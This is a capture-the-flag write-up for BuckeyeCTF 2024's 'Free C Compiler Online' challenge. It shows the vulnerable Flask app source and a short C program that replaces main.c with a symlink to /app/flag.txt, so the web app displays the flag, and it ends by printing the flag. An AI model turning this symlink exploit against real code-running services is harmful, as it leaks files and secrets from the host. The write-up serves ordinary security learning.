Intro

This post covers Free C Compiler Online from BuckeyeCTF 2024. The description of the challenge is as follows:

It is free of charge, but is it free of bugs?

No, it’s not.

Analyzing The Source Code

The following is the source code of the application:

from flask import (
 Flask,
 json,
 jsonify,
 request,
 render_template,
)
from pathlib import Path
from uuid import uuid4, UUID
import os
from werkzeug.exceptions import NotFound, BadRequest, Forbidden
import subprocess

app = Flask(__name__)
storage_path = Path(__file__).parent / "storage"

os.system("podman pull docker.io/library/gcc:latest")


@app.get("/")
def get_index():
    return render_template("index.html")


@app.get("/<id>")
def get_result(id):
    id = str(UUID(id))
    try:
 code = Path(storage_path, id, "main.c").read_text()
 output = Path(storage_path, id, "output.txt").read_text()
    except FileNotFoundError:
        raise NotFound()
    if output == "":
 output = "[no output yet, try refreshing]"
    return render_template("result.html", code=code, output=output)


@app.post("/run")
def post_run():
    if request.json is None:
        raise UnsupportedMediaType()
 code = request.json["code"]
    if not isinstance(code, str):
        raise BadRequest()
    id = run_code(code)
    return jsonify({"id": id})


def run_code(code):
    if len(code) > 10000:
        raise Forbidden()
    id = uuid4()
 folder = Path(storage_path, str(id))
 folder.mkdir(parents=True)
    Path(folder, "main.c").write_text(code)

 os.system(
        f"podman run --timeout 5 --detach -v {str(folder.absolute())}:/mnt --workdir /mnt gcc "
        + "sh -c 'gcc main.c > output.txt 2>&1 && ./a.out | head -c 1000 >> output.txt'"
 )

 subprocess.Popen(f"sleep 60; rm -r {folder.absolute()}", shell=True)

    return id


print("started")

As we can see, there are 2 main endpoints: @app.post("/run") amd @app.get("/<id>"). The first one is used to compile our source code and run it, all in a podman pod and the second one is used to display the source code that was compiled and executed alongside the output.

The flag is located at /app/flag.txt, while the compilation files are temporarily saved to /app/storage/<UUID> . Both compilation and execution take place inside a pod, which doesn’t have direct access to the flag file. However, we notice that:

  • Inside a pod, we have access to the source code main.c of the program that’s being executed,
  • The web application has access to the flag file,
  • The web application displays the source code main.c of the program was run via the @app.get("/<id>") endpoint.

We create a program that removes main.c and replaces it with a symlink to /app/flag.

#include <stdio.h>
#include <stdlib.h>

int main() {
    system("rm main.c && ln -s /app/flag.txt main.c");
    
    return 0;
}

Now we run it, and display the results. Since we replaced main.c with a symlink to the flag, the web application displays the flag content under the Code section.

Alt text

Alt text

We got the flag! bctf{fr33d0m_1s_bu7_4n_3mp7y_1llu510n_b842fff60fc03a4f}